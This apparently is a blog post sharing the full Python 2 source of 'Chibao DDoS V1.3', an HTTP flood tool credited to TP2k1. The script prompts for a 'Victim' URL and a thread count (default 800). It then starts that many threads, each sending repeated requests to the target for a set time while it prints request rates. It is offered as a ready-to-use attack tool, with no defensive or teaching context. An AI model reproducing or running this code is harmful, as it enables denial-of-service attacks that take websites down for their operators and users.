SHARE CODE DDOS = KODING
CODE :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80# Embedded file name: C:\Users\Giorgio\Desktop\a.py import urllib, os, threading, time, sys print '\n ###################################\n' print ' 01010o.....::Chibao DDoS V1.3::.....o01010\n' print ' #################################################' print print '\t DDos Tool for HTTP site, Coded by TP2k1\n' if os.name in ('nt', 'dos', 'ce'): os.system('title ........::::: Chibao DDoS V1.3 :::::........') os.system('color a') Close = False Lock = threading.Lock() Request = 0 Tot_req = 0 class Spammer(threading.Thread): def __init__(self, url, number): threading.Thread.__init__(self) self.url = url self.num = number def run(self): global Lock global Tot_req global Close global Request Lock.acquire() print 'Starting thread #{0}'.format(self.num) Lock.release() while Close == False: try: urllib.urlopen(self.url) Request += 1 Tot_req += 1 except: pass Lock.acquire() print 'Closing thread #{0}'.format(self.num) Lock.release() sys.exit(0) if __name__ == '__main__': try: num_threads = input('> So luong dap(800): ') t_tot = input('> Time(2): ') except: t_tot = 2 timer = t_tot * 60 t_tot = t_tot * 60 while True: url = raw_input('> Victim: ') try: urllib.urlopen(url) except IOError: print 'Could not open specified url.' else: break for i in xrange(num_threads): Spammer(url, i + 1).start() time.sleep(2) print '#######################################################################' print '\n> Bot Are Loaded Sucessfully.' print '\n> Chibao is working hard. . .\n' while timer > 0: time.sleep(10) print '> TP2k1 @ ' + str(Request / 10.0) + ' Requests/s\tTotal Request: #' + str(Tot_req) + '\tTime left:', timer, 's' Request = 0 timer -= 10 print '\n> Average @ ' + str(Tot_req / t_tot) + ' Requests/s' print '\n#######################################################################\n' raw_input('> Chibao is still working, now you can press enter to shutting down threads.') time.sleep(1) Close = True
SHARE CODE DDOS = KODING
Reviewed by Unknownon
23:51
Rating:
No comments:
Post a Comment